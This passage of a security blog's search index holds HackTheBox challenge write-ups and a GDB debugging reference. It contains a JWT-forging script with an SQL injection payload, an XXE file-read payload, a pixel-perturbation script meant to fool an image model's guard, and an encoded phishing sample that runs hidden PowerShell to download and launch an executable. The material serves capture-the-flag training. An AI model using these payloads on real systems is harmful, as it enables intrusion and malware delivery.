PIL import Image import numpy as np if len(sys.argv) != 2: print(f\u0026#34;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) URL = f\u0026#34;http://{sys.argv[1]}\u0026#34; def download_image(): print(\u0026#34;Downloading image...\u0026#34;) resp = requests.get(URL + \u0026#34;/static/dog.png\u0026#34;, stream=True, timeout=60) with open(\u0026#34;dog.png\u0026#34;, \u0026#34;wb\u0026#34;) as f: shutil.copyfileobj(resp.raw, f) img = Image.open(\u0026#34;dog.png\u0026#34;).convert(\u0026#39;RGB\u0026#39;) return np.array(img) def main(): modifications = [ [24, 11, 88, 48, 117], [17, 26, 41, 60, 254], [13, 13, 0, 139, 111], [11, 20, 22, 0, 58], [26, 10, 6, 33, 49] ] data = {} for i, (x, y, r, g, b) in enumerate(modifications, 1): data[f\u0026#34;p{i}\u0026#34;] = f\u0026#34;{x},{y},{r},{g},{b}\u0026#34; try: print(\u0026#34;Pixel modifications:\u0026#34;, modifications) response = requests.post(f\u0026#34;{URL}/point-laser\u0026#34;, data=data) print(\u0026#34;Server response:\u0026#34;, response.text) except Exception as e: print(f\u0026#34;Error sending to server: {e}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Sigma Technology: shape the prompt path, bypass the model guard, and recover the target output.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Sigma-Technology-Challenge/","protected":null,"snippet":"Sigma Technology: shape the prompt path, bypass the model guard, and recover the target output.","tags":["htb","ai","prompt-injection","neural-network"],"title":"HackTheBox Sigma Technology Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/111\nDescription A company that specialises in web development is creating a new site that is currently under construction. Can you obtain the flag?\nExploitation #!/usr/bin/python3 import jwt, base64, ast, math, hmac, hashlib, binascii, json, sys, requests def gen_token(token, payload): header = ast.literal_eval(base64.b64decode(token.split(\u0026#34;.\u0026#34;)[0]).decode(\u0026#34;UTF-8\u0026#34;)) header[\u0026#39;alg\u0026#39;] = \u0026#34;HS256\u0026#34; data = ast.literal_eval(base64.b64decode(token.split(\u0026#34;.\u0026#34;)[1].ljust((int)(math.ceil(len(token.split(\u0026#34;.\u0026#34;)[1]) / 4)) * 4, \u0026#39;=\u0026#39;)).decode(\u0026#34;UTF-8\u0026#34;)) data[\u0026#39;username\u0026#39;] = payload public_key = data[\u0026#39;pk\u0026#39;].encode(\u0026#34;UTF-8\u0026#34;) header = base64.urlsafe_b64encode(json.dumps(header).encode(\u0026#39;utf-8\u0026#39;)).decode().strip(\u0026#39;=\u0026#39;) data = base64.urlsafe_b64encode(json.dumps(data).encode(\u0026#39;utf-8\u0026#39;)).decode().strip(\u0026#39;=\u0026#39;) jwt_header_data = header + \u0026#34;.\u0026#34; + data mess = jwt_header_data.encode(\u0026#34;UTF-8\u0026#34;) signature = hmac.new(public_key, mess, hashlib.sha256).hexdigest() sign = str(base64.urlsafe_b64encode(binascii.a2b_hex(signature))).replace(\u0026#39;=\u0026#39;,\u0026#39;\u0026#39;) sign = sign.split(\u0026#34;\u0026#39;\u0026#34;)[1] return jwt_header_data + \u0026#34;.\u0026#34; + sign try: if sys.argv[1] == None or sys.argv[2] == None or sys.argv[3] == None: exit() else: token_new = gen_token(sys.argv[1], sys.argv[3]) rq = requests.get(sys.argv[2], cookies= {\u0026#34;session\u0026#34;: str(token_new)}, allow_redirects=False) rp = rq.content print(str(rp)[1778:int(str(rp).index(\u0026#39;\u0026lt;br\u0026gt;\u0026#39;))]) except: print(f\u0026#34;Uses: {sys.argv[0]} \u0026lt;token\u0026gt; \u0026lt;host\u0026gt; \u0026lt;payload\u0026gt;\u0026#34;) exit() Register, log in, copy the token, and then run the script.\npython poc eyJhbGciO.... http://94.237.50.242:59187/ \u0026#34;\u0026#39; union select 1,top_secret_flaag,3 FROM flag_storage--\u0026#34; Summary Under Construction: exploit the SQL injection, extract the needed data, and reach the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Under-Construction-Challenge/","protected":null,"snippet":"Under Construction: exploit the SQL injection, extract the needed data, and reach the flag.","tags":["htb","web","sql-injection","jwt"],"title":"HackTheBox Under Construction Challenge"},{"categories":["notes"],"contents":"Setup Build with debug symbols when you control the source:\ngcc -g3 -O0 -fno-omit-frame-pointer -Wall -Wextra -o app app.c Useful startup options:\nCommand Use gdb -q ./app Open a binary quietly. gdb -q --args ./app arg1 arg2 Open a binary with arguments. gdb -q ./app core Open a binary with a core dump. gdb -q -p \u0026lt;pid\u0026gt; Attach to a running process. gdb -q -x script.gdb ./app Run a GDB command file on startup. gdb -q -ex 'set disassembly-flavor intel' ./app Execute one GDB command on startup. Common interactive defaults:\nset disassembly-flavor intel set pagination off set confirm off set print pretty on set print elements 0 set disassemble-next-line on Put persistent defaults in ~/.gdbinit or load a project-local script with source.\nRecommended Plugin: Pwngdb Use vanilla GDB for the core commands in this sheet. For pwn, heap, libc, and CTF-style binary exploitation work, use Pwngdb as the recommended GDB extension.\nPwngdb adds commands that remove a lot of repeated manual address work:\nCommand Use libc Print libc base. ld Print dynamic loader base. codebase Print code segment base. heap Print heap base. got Print Global Offset Table information. dyn Print dynamic section information. findcall Find calls to a function. bcall Break at calls to a function. findsyscall Find syscall instructions. fmtarg Calculate the format-string argument index. heapinfo Show arena, bin, and tcache information. heapinfoall Show heap information for all threads. arenainfo Show all arena information. chunkinfo Show metadata for a chunk address. chunkptr Show metadata for a user pointer. parseheap Parse heap layout. tracemalloc on Trace malloc/free activity. magic Print useful glibc variables and functions. fp / fpchain Inspect FILE structures. Install:\ncd ~ git clone https://github.com/scwuaptx/Pwngdb.git Load it from ~/.gdbinit:\nsource ~/Pwngdb/pwngdb.py The upstream README also provides a .gdbinit. If an existing ~/.gdbinit already has local settings, merge the relevant lines instead of replacing the whole file.\nFor heapinfo and tracemalloc, install libc debug symbols. On Debian/Ubuntu:\nsudo apt install libc6-dbg sudo apt install libc6-dbg:i386 Use Pwngdb when the question is \u0026ldquo;where is libc/heap/GOT/tcache/chunk state right now?\u0026rdquo; Use raw GDB when the question is \u0026ldquo;what exact instruction, register, watchpoint, or process event controls this?\u0026rdquo;\nLoading And Running Command Use file ./app Load or replace the debug target. set args A B C Set program arguments. show args Show current arguments. run / r Start from the beginning. run A B Start with one-off arguments. run \u0026lt; input.txt Redirect stdin from a file. run \u0026gt; output.txt Redirect stdout to a file. start Run and stop at main. starti Run and stop at the first machine instruction. kill Kill the current inferior process. attach \u0026lt;pid\u0026gt; Attach to a running process. detach Detach and let the process continue. set environment KEY value Set an environment variable for the inferior. unset environment KEY Remove an environment variable for the inferior. set cwd \u0026lt;dir\u0026gt; Set inferior working directory. tty /dev/pts/N Give the inferior a separate terminal. ASLR can change addresses between runs:\nshow disable-randomization set disable-randomization on set disable-randomization off Set this before run. Use show disable-randomization to confirm the current mode.\nExecution Control Command Use continue / c Continue until exit, signal, or breakpoint. continue \u0026lt;n\u0026gt; Ignore the current breakpoint for the next \u0026lt;n\u0026gt; hits. next / n Step one source line, stepping over calls. step / s Step one source line, stepping into calls with debug info. nexti / ni Step one instruction, stepping over calls. stepi / si Step one instruction, stepping into calls. finish / fin Run until the current function returns. until / u Run until execution leaves the current loop/line region. advance \u0026lt;loc\u0026gt; Continue until a location is reached. jump *0x401000 Set PC to an address and continue there. return \u0026lt;expr\u0026gt; Force the current function to return a value. call func(args) Call a function in the inferior. interrupt Stop an asynchronously running inferior. Useful instruction stepping display:\ndisplay/i $pc x/8i $pc Breakpoints Command Use break main / b main Break at a symbol. break file.c:42 Break at a source line. break *0x401156 Break at an exact address. tbreak *0x401156 Temporary breakpoint, deleted after first hit. hbreak *0x401156 Hardware breakpoint when supported. rbreak regex Break on functions matching a regex. info breakpoints / i b List breakpoints, watchpoints, and catchpoints. disable \u0026lt;n\u0026gt; Disable a breakpoint. enable \u0026lt;n\u0026gt; Re-enable a breakpoint. delete \u0026lt;n\u0026gt; / d \u0026lt;n\u0026gt; Delete a breakpoint. clear \u0026lt;loc\u0026gt; Delete breakpoints at a location. Conditional and counted breakpoints:\nbreak *0x401234 if $rax == 0 condition 3 $rdi == 0xdeadbeef ignore 3 99 commands 3 silent printf \u0026#34;hit rip=%p rdi=%p\\n\u0026#34;, $pc, $rdi continue end Hit counters with convenience variables:\nset $hits = 0 break *0x401234 commands silent set $hits = $hits + 1 continue end run print $hits Watchpoints And Catchpoints Command Use watch expr Stop when expression is written. rwatch expr Stop when expression is read. awatch expr Stop when expression is read or written. watch *(int*)0x404040 Watch a typed memory address. watch -location var Watch the storage location of a variable. catch syscall openat Stop on a syscall. catch syscall read write Stop on selected syscalls. catch throw Stop on C++ exception throw. catch catch Stop on C++ exception catch. catch fork Stop on fork. catch vfork Stop on vfork. catch exec Stop on exec. catch load Stop when a shared library is loaded. Watchpoints need an expression GDB can evaluate. Hardware watchpoints are fast but limited by CPU debug registers.\nRegisters Command Use info registers / i r Show general registers. info all-registers Show general, floating-point, and vector registers. info registers rax rip Show selected registers. print/x $rax / p/x $rax Print register as hex. print/a $pc Print as address/symbol. set $rax = 0 Modify a register. set $pc = 0x401000 Change the program counter. Common x86-64 registers:\nRegister Role $rip / $pc Instruction pointer. $rsp / $sp Stack pointer. $rbp / $fp Frame/base pointer when used. $rax Return value. $rdi, $rsi, $rdx, $rcx, $r8, $r9 First six integer/pointer arguments on System V AMD64. $eflags CPU flags. $fs_base TLS base on Linux x86-64. Stack canary location on common Linux x86-64 builds:\ninfo registers fs_base x/gx $fs_base + 0x28 Memory GDB\u0026rsquo;s x command uses x/\u0026lt;count\u0026gt;\u0026lt;format\u0026gt;\u0026lt;size\u0026gt; \u0026lt;address\u0026gt;.\nFormat Meaning x Hex. d Signed decimal. u Unsigned decimal. t Binary. a Address/symbol. i Instruction. c Character. s String. f Float. Size Meaning b Byte, 1 byte. h Halfword, 2 bytes. w Word, 4 bytes. g Giant word, 8 bytes. Common memory commands:\nCommand Use x/16gx $rsp Show 16 qwords from stack. x/20i $pc Show 20 instructions from PC. x/s 0x404000 Show a C string. x/32xb 0x404000 Show 32 bytes. print *(int*)0x404040 Print typed memory. set *(unsigned int*)0x404040 = 10 Patch 4 bytes as an unsigned int. set {char[5]}0x404040 = \u0026quot;AAAA\u0026quot; Patch bytes with a string literal. dump memory out.bin 0x401000 0x402000 Dump a memory range. restore patch.bin binary 0x404000 Restore bytes into memory. The $_ convenience variable often contains the last examined address, and $__ often contains the contents at that address.\nDisassembly And Symbols Command Use disassemble main / disass main Disassemble a function. disassemble /r main Include raw instruction bytes. disassemble 0x401000,0x401080 Disassemble an address range. x/12i $pc Disassemble from the current PC. info files Show entry point and loaded file sections. info functions List known functions. info variables List known global/static variables. info address main Show the address of a symbol. info symbol 0x401156 Resolve address to symbol. info sharedlibrary Show loaded shared libraries. maintenance info sections Show detailed section mappings. set print asm-demangle on Demangle C++ symbols in assembly output. Loading extra symbols:\nsymbol-file ./app.debug add-symbol-file ./module.ko 0xffffffffc0000000 set solib-search-path ./libs set sysroot / Stack And Frames Command Use backtrace / bt Show call stack. bt full Show call stack with locals. where Alias for backtrace. frame \u0026lt;n\u0026gt; / f \u0026lt;n\u0026gt; Select a stack frame. up / down Move between caller/callee frames. info frame Show selected frame details. info args Show function arguments. info locals Show local variables. list / l Show source around the selected frame. Frame 0 is the currently executing frame. Optimized binaries can show \u0026lt;optimized out\u0026gt; for locals/arguments; rebuild with -O0 -g3 -fno-omit-frame-pointer when possible.\nMappings And Process Info Command Use info proc Show process info from /proc. info proc mappings Show memory mappings. info proc exe Show executable path. info proc cmdline Show command line. info proc status Show process status. info target Show target details. show architecture Show selected architecture. set architecture \u0026lt;arch\u0026gt; Force architecture when needed. For a vanilla-GDB mapping view, use info proc mappings. For exact file-backed executable code, look for the mapping with execute permissions for the target binary.\nThreads, Forks, And Inferiors Command Use info threads List threads. thread \u0026lt;n\u0026gt; Select a thread. thread apply all bt Backtrace every thread. set scheduler-locking on Run only the current thread while stepping/running. set scheduler-locking step Lock scheduler only while stepping. set scheduler-locking off Resume normal scheduling. set follow-fork-mode parent Follow parent after fork. set follow-fork-mode child Follow child after fork. set detach-on-fork off Keep both parent and child under GDB. info inferiors List inferior processes. inferior \u0026lt;n\u0026gt; Select an inferior. detach inferior \u0026lt;n\u0026gt; Detach one inferior. Fork workflow:\nset follow-fork-mode child set detach-on-fork off catch fork run info inferiors inferior 2 Signals And Syscalls Command Use info signals Show signal handling table. handle SIGPIPE nostop noprint pass Let SIGPIPE pass quietly. handle SIGSEGV stop print nopass Stop and print on SIGSEGV. signal 0 Resume without delivering current signal. signal SIGUSR1 Resume and deliver a signal. catch syscall Stop on every syscall. catch syscall openat read write Stop on selected syscalls. Syscall catchpoints are useful for finding file, network, memory, or TLS setup behavior without knowing the exact code address first.\nCore Dumps Generate and inspect core dumps:\nulimit -c unlimited ./app gdb -q ./app core From inside GDB:\ngenerate-core-file core.app core-file core.app bt full info registers info proc mappings x/32gx $rsp Crash triage order:\nbt full info registers x/16i $pc x/32gx $rsp info proc mappings Inspect arguments from registers or info args. Remote Debugging Start a target with gdbserver:\ngdbserver :31337 ./app arg1 arg2 Connect from GDB:\nfile ./app target remote 127.0.0.1:31337 set sysroot / set solib-search-path ./libs continue Attach remotely:\ngdbserver --attach :31337 \u0026lt;pid\u0026gt; Common remote commands:\nCommand Use target remote host:port Connect to a remote stub. target extended-remote host:port Keep remote connection across runs/restarts when supported. set sysroot \u0026lt;path\u0026gt; Set target root for symbols/libraries. set solib-search-path \u0026lt;path\u0026gt; Search path for shared library symbols. set substitute-path \u0026lt;from\u0026gt; \u0026lt;to\u0026gt; Remap source paths. disconnect Disconnect from target. Reverse Execution Process record/replay can support reverse debugging on compatible targets.\nCommand Use record full Start software instruction recording. record btrace Start branch tracing when supported. record stop Stop recording. reverse-continue / rc Continue backward. reverse-step Step backward by source line. reverse-next Next backward by source line. reverse-stepi Step backward by instruction. reverse-nexti Next backward by instruction. Example:\nstart record full continue reverse-continue reverse-stepi Recording has target and syscall limitations; use it for focused windows of execution.\nTUI Command Use tui enable Enter TUI mode. tui disable Leave TUI mode. layout src Source view. layout asm Assembly view. layout split Source and assembly. layout regs Register view. focus cmd Focus command window. focus src / focus asm / focus regs Focus a TUI pane. refresh Redraw screen. Keyboard shortcuts:\nShortcut Use Ctrl-x a Toggle TUI mode. Ctrl-x 1 Single-window layout. Ctrl-x 2 Two-window layout. Ctrl-l Redraw terminal. Command Files Run command files:\ngdb -q ./app -x script.gdb source script.gdb Minimal command file:\nset disassembly-flavor intel set pagination off break main run bt info registers Breakpoint command list:\nbreak *0x401234 commands silent printf \u0026#34;rdi=%p rsi=%p rip=%p\\n\u0026#34;, $rdi, $rsi, $pc x/4i $pc continue end Custom command:\ndefine regs info registers rax rbx rcx rdx rsi rdi rbp rsp rip end document regs Print common x86-64 registers. end Logging:\nset logging file gdb.log set logging overwrite on set logging enabled on bt full set logging enabled off Python In GDB Run a Python script:\ngdb -q ./app -ex \u0026#39;source script.py\u0026#39; Inline Python:\npython import gdb print(gdb.parse_and_eval(\u0026#34;$rip\u0026#34;)) end Tiny command extension:\nimport gdb class Pc(gdb.Command): def __init__(self): super().__init__(\u0026#34;pc\u0026#34;, gdb.COMMAND_USER) def invoke(self, arg, from_tty): pc = gdb.parse_and_eval(\u0026#34;$pc\u0026#34;) print(pc) Pc() Use Python when breakpoint logic needs parsing, loops, structured output, or integration with external tooling.\nPractical Flows First Pass On A Stripped ELF set disassembly-flavor intel file ./app info files starti x/20i $pc info proc mappings Use info files for the entry point and section addresses, starti for the first executed instruction, and info proc mappings for runtime layout.\nBreak At Main Without Symbols starti info files break *0x401000 continue For PIE binaries, compute runtime addresses from the loaded mapping base, or break after the dynamic loader transfers control.\nInspect A Function Call break *0x401190 run x/8i $pc info registers rdi rsi rdx rcx r8 r9 nexti finish On System V AMD64, integer/pointer arguments are usually in rdi, rsi, rdx, rcx, r8, and r9.\nFind Who Writes A Value break main run watch *(unsigned long*)0x404080 continue bt x/6i $pc Use rwatch for reads and awatch for reads or writes.\nTrace Syscalls catch syscall openat catch syscall read catch syscall write run info registers rdi rsi rdx continue Use the architecture syscall ABI when interpreting registers.\nPatch A Branch x/6i $pc set $eflags |= 0x40 set $pc = 0x401250 Changing flags, registers, or $pc modifies the inferior state. Prefer temporary patches for investigation, then document the exact condition.\nDump A Runtime Region info proc mappings dump memory code.bin 0x401000 0x402000 dump memory heap.bin 0x555555559000 0x55555557a000 Use mapped start/end addresses from the current process, not static file offsets.\nReferences https://sourceware.org/gdb/current/onlinedocs/gdb.html/Invocation.html https://sourceware.org/gdb/current/onlinedocs/gdb.html/Starting.html https://sourceware.org/gdb/current/onlinedocs/gdb.html/Continuing-and-Stepping.html https://sourceware.org/gdb/current/onlinedocs/gdb.html/Set-Breaks.html https://sourceware.org/gdb/current/onlinedocs/gdb.html/Set-Watchpoints.html https://sourceware.org/gdb/current/onlinedocs/gdb.html/Set-Catchpoints.html https://sourceware.org/gdb/current/onlinedocs/gdb.html/Registers.html https://sourceware.org/gdb/current/onlinedocs/gdb.html/Memory.html https://sourceware.org/gdb/current/onlinedocs/gdb.html/Backtrace.html https://sourceware.org/gdb/current/onlinedocs/gdb.html/Remote-Debugging.html https://sourceware.org/gdb/current/onlinedocs/gdb.html/Process-Record-and-Replay.html https://sourceware.org/gdb/current/onlinedocs/gdb.html/Command-Files.html https://sourceware.org/gdb/current/onlinedocs/gdb.html/Python.html https://sourceware.org/gdb/current/onlinedocs/gdb.html/TUI.html https://github.com/scwuaptx/Pwngdb ","date":"2025-01-12T18:20:00+08:00","permalink":"https://x3ric.com/blog/posts/Gdb/","protected":null,"snippet":"Practical GNU Debugger reference for loading, running, inspecting, patching, scripting, and remote debugging programs.","tags":["notes","reversing","gdb"],"title":"GDB"},{"categories":["challenge"],"contents":"","date":"2025-01-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-CDNio-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","web"],"title":"HackTheBox CDNio Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/728\nDescription The crew secures an experimental Pip-Boy from a black market merchant, recognizing its potential to unlock the heavily guarded bunker of Vault 79. Back at their hideout, the hackers and engineers collaborate to jailbreak the device.\nExploitation \u0026lt;!DOCTYPE foo [\u0026lt;!ENTITY example SYSTEM \u0026#34;file:///flag.txt\u0026#34;\u0026gt;]\u0026gt; \u0026lt;FirmwareUpdateConfig\u0026gt; \u0026lt;Firmware\u0026gt; \u0026lt;Version\u0026gt;1.33.7\u0026amp;example;\u0026lt;/Version\u0026gt; Summary Jailbreak: identify the broken request handling, prove control, and use it to recover the flag.\n","date":"2025-01-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Jailbreak-Challenge/","protected":null,"snippet":"Jailbreak: identify the broken request handling, prove control, and use it to recover the flag.","tags":["htb","web"],"title":"HackTheBox Jailbreak Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Under-the-web-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","pwn","linux"],"title":"HackTheBox Under the web Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-09T12:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Rauth-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","linux"],"title":"HackTheBox Rauth Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-08T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Noisy-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","misc"],"title":"HackTheBox Noisy Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-08T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Triangles-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","misc"],"title":"HackTheBox Triangles Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/675\nDescription In the midst of Cybercity\u0026rsquo;s \u0026ldquo;Fray,\u0026rdquo; a phishing attack targets its factions, sparking chaos. As they decode the email, cyber sleuths race to trace its source, under a tight deadline. Their mission: unmask the attacker and restore order to the city. In the neon-lit streets, the battle for cyber justice unfolds, determining the factions\u0026rsquo; destiny.\nAnalysis CyberChef\necho PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT48L3RpdGxlPg0KPGJvZHk+DQo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU2OCU3NCU2ZCU2YyUzZSUwZCUwYSUzYyU2OCU2NSU2MSU2NCUzZSUwZCUwYSUzYyU3NCU2OSU3NCU2YyU2NSUzZSUyMCUzZSU1ZiUyMCUzYyUyZiU3NCU2OSU3NCU2YyU2NSUzZSUwZCUwYSUzYyU2MyU2NSU2ZSU3NCU2NSU3MiUzZSUzYyU2OCUzMSUzZSUzNCUzMCUzNCUyMCU0ZSU2ZiU3NCUyMCU0NiU2ZiU3NSU2ZSU2NCUzYyUyZiU2OCUzMSUzZSUzYyUyZiU2MyU2NSU2ZSU3NCU2NSU3MiUzZSUwZCUwYSUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU2YyU2MSU2ZSU2NyU3NSU2MSU2NyU2NSUzZCUyMiU1NiU0MiU1MyU2MyU3MiU2OSU3MCU3NCUyMiUzZSUwZCUwYSU1MyU3NSU2MiUyMCU3NyU2OSU2ZSU2NCU2ZiU3NyU1ZiU2ZiU2ZSU2YyU2ZiU2MSU2NCUwZCUwYSUwOSU2MyU2ZiU2ZSU3MyU3NCUyMCU2OSU2ZCU3MCU2NSU3MiU3MyU2ZiU2ZSU2MSU3NCU2OSU2ZiU2ZSUyMCUzZCUyMCUzMyUwZCUwYSUwOSU0MyU2ZiU2ZSU3MyU3NCUyMCU0OCU0OSU0NCU0NCU0NSU0ZSU1ZiU1NyU0OSU0ZSU0NCU0ZiU1NyUyMCUzZCUyMCUzMSUzMiUwZCUwYSUwOSU1MyU2NSU3NCUyMCU0YyU2ZiU2MyU2MSU3NCU2ZiU3MiUyMCUzZCUyMCU0MyU3MiU2NSU2MSU3NCU2NSU0ZiU2MiU2YSU2NSU2MyU3NCUyOCUyMiU1NyU2MiU2NSU2ZCU1MyU2MyU3MiU2OSU3MCU3NCU2OSU2ZSU2NyUyZSU1MyU1NyU2MiU2NSU2ZCU0YyU2ZiU2MyU2MSU3NCU2ZiU3MiUyMiUyOSUwZCUwYSUwOSU1MyU2NSU3NCUyMCU1MyU2NSU3MiU3NiU2OSU2MyU2NSUyMCUzZCUyMCU0YyU2ZiU2MyU2MSU3NCU2ZiU3MiUyZSU0MyU2ZiU2ZSU2ZSU2NSU2MyU3NCU1MyU2NSU3MiU3NiU2NSU3MiUyOCUyOSUwZCUwYSUwOSU1MyU2NSU3MiU3NiU2OSU2MyU2NSUyZSU1MyU2NSU2MyU3NSU3MiU2OSU3NCU3OSU1ZiUyZSU0OSU2ZCU3MCU2NSU3MiU3MyU2ZiU2ZSU2MSU3NCU2OSU2ZiU2ZSU0YyU2NSU3NiU2NSU2YyUzZCU2OSU2ZCU3MCU2NSU3MiU3MyU2ZiU2ZSU2MSU3NCU2OSU2ZiU2ZSUwZCUwYSUwOSU1MyU2NSU3NCUyMCU2ZiU2MiU2YSU1MyU3NCU2MSU3MiU3NCU3NSU3MCUyMCUzZCUyMCU1MyU2NSU3MiU3NiU2OSU2MyU2NSUyZSU0NyU2NSU3NCUyOCUyMiU1NyU2OSU2ZSUzMyUzMiU1ZiU1MCU3MiU2ZiU2MyU2NSU3MyU3MyU1MyU3NCU2MSU3MiU3NCU3NSU3MCUyMiUyOSUwZCUwYSUwOSU1MyU2NSU3NCUyMCU2ZiU2MiU2YSU0MyU2ZiU2ZSU2NiU2OSU2NyUyMCUzZCUyMCU2ZiU2MiU2YSU1MyU3NCU2MSU3MiU3NCU3NSU3MCUyZSU1MyU3MCU2MSU3NyU2ZSU0OSU2ZSU3MyU3NCU2MSU2ZSU2MyU2NSU1ZiUwZCUwYSUwOSU1MyU2NSU3NCUyMCU1MCU3MiU2ZiU2MyU2NSU3MyU3MyUyMCUzZCUyMCU1MyU2NSU3MiU3NiU2OSU2MyU2NSUyZSU0NyU2NSU3NCUyOCUyMiU1NyU2OSU2ZSUzMyUzMiU1ZiU1MCU3MiU2ZiU2MyU2NSU3MyU3MyUyMiUyOSUwZCUwYSUwOSU0NSU3MiU3MiU2ZiU3MiUyMCUzZCUyMCU1MCU3MiU2ZiU2MyU2NSU3MyU3MyUyZSU0MyU3MiU2NSU2MSU3NCU2NSUyOCUyMiU2MyU2ZCU2NCUyZSU2NSU3OCU2NSUyMCUyZiU2MyUyMCU3MCU2ZiU3NyU2NSU3MiU3MyU2OCU2NSU2YyU2YyUyZSU2NSU3OCU2NSUyMCUyZCU3NyU2OSU2ZSU2NCU2ZiU3NyU3MyU3NCU3OSU2YyU2NSUyMCU2OCU2OSU2NCU2NCU2NSU2ZSUyMCUyOCU0ZSU2NSU3NyUyZCU0ZiU2MiU2YSU2NSU2MyU3NCUyMCU1MyU3OSU3MyU3NCU2NSU2ZCUyZSU0ZSU2NSU3NCUyZSU1NyU2NSU2MiU0MyU2YyU2OSU2NSU2ZSU3NCUyOSUyZSU0NCU2ZiU3NyU2ZSU2YyU2ZiU2MSU2NCU0NiU2OSU2YyU2NSUyOCUyNyU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3MyU3NCU2MSU2ZSU2NCU3NSU2ZSU2OSU3NCU2NSU2NCUyZSU2OCU3NCU2MiUyZiU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU2NiU2ZiU3MiU2ZCU3MyUyZiU2NiU2ZiU3MiU2ZCUzMSUyZSU2NSU3OCU2NSUyNyUyYyUyNyUyNSU2MSU3MCU3MCU2NCU2MSU3NCU2MSUyNSU1YyU2NiU2ZiU3MiU2ZCUzMSUyZSU2NSU3OCU2NSUyNyUyOSUzYiU1MyU3NCU2MSU3MiU3NCUyZCU1MCU3MiU2ZiU2MyU2NSU3MyU3MyUyMCUyNyUyNSU2MSU3MCU3MCU2NCU2MSU3NCU2MSUyNSU1YyU2NiU2ZiU3MiU2ZCUzMSUyZSU2NSU3OCU2NSUyNyUzYiUyNCU2NiU2YyU2MSU2NyUzZCUyNyU0OCU1NCU0MiU3YiUzNCU2ZSUzMCU3NCU2OCUzMyU3MiU1ZiU2NCUzNCU3OSU1ZiUzNCU2ZSUzMCU3NCU2OCUzMyU3MiU1ZiU3MCU2OCUzMSU3MyU2OCU2OSUzMSU2ZSU2NyU1ZiUzNCU3NCU3NCUzMyU2ZCU3MCU1NCU3ZCUyMiUyYyUyMCU2ZSU3NSU2YyU2YyUyYyUyMCU2ZiU2MiU2YSU0MyU2ZiU2ZSU2NiU2OSU2NyUyYyUyMCU2OSU2ZSU3NCU1MCU3MiU2ZiU2MyU2NSU3MyU3MyU0OSU0NCUyOSUwZCUwYSUwOSU3NyU2OSU2ZSU2NCU2ZiU3NyUyZSU2MyU2YyU2ZiU3MyU2NSUyOCUyOSUwZCUwYSU2NSU2ZSU2NCUyMCU3MyU3NSU2MiUwZCUwYSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUwZCUwYSUzYyUyZiU2OCU2NSU2MSU2NCUzZSUwZCUwYSUzYyUyZiU2OCU3NCU2ZCU2YyUzZSUwZCUwYScpKTsNCjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg0KDQoNCg0KDQoNCg== | base64 -d | python -c \u0026#39;import sys,urllib.parse as ul; print(ul.unquote(sys.stdin.read().strip()))\u0026#39; | grep \u0026#39;HTB\u0026#39; Summary Urgent: isolate the relevant artifact, decode the evidence, and extract the flag.\n","date":"2025-01-08T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Urgent-Challenge/","protected":null,"snippet":"Urgent: isolate the relevant artifact, decode the evidence, and extract the flag.","tags":["htb","forensics","git"],"title":"HackTheBox Urgent Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/469\nDescription In an attempt for the aliens to find more information about the relic, they launched an attack targeting Pandora\u0026rsquo;s close friends and partners that may know any secret information about it. During a recent incident believed to be operated by them, Pandora located a weird PowerShell script from the event logs, otherwise called PowerShell cradle. These scripts are usually used to download and execute the next stage of the attack. However, it seems obfuscated, and Pandora cannot understand it. Can you help her deobfuscate it?\nAnalysis cat cradle.ps1 | tr -d \u0026#34;\u0026#39; + \u0026#39;\u0026#34; | grep \u0026#34;HTB\u0026#34; Summary Alien Cradle: isolate the relevant artifact, decode the evidence, and extract the flag.\n","date":"2025-01-07T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Alien-Cradle-Challenge/","protected":null,"snippet":"Alien Cradle: isolate the relevant artifact, decode the evidence, and extract the flag.","tags":["htb","forensics","powershell"],"title":"HackTheBox Alien Cradle Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/340\nDescription Years have passed since Miyuki rescued you from the graveyard. When Virgil tells you that he needs your help with something he found there, desperate thoughts about your father and the disabilities you developed due to the disposal process come to mind. The device looks like an advanced GPS with AI capabilities. Riddled with questions about the past, you are pessimistic that you could be of any value. After hours of fiddling and observing the power traces of this strange device, you and Virgil manage to connect to the debugging interface and write an interpreter to control the signals. The protocol looks familiar to 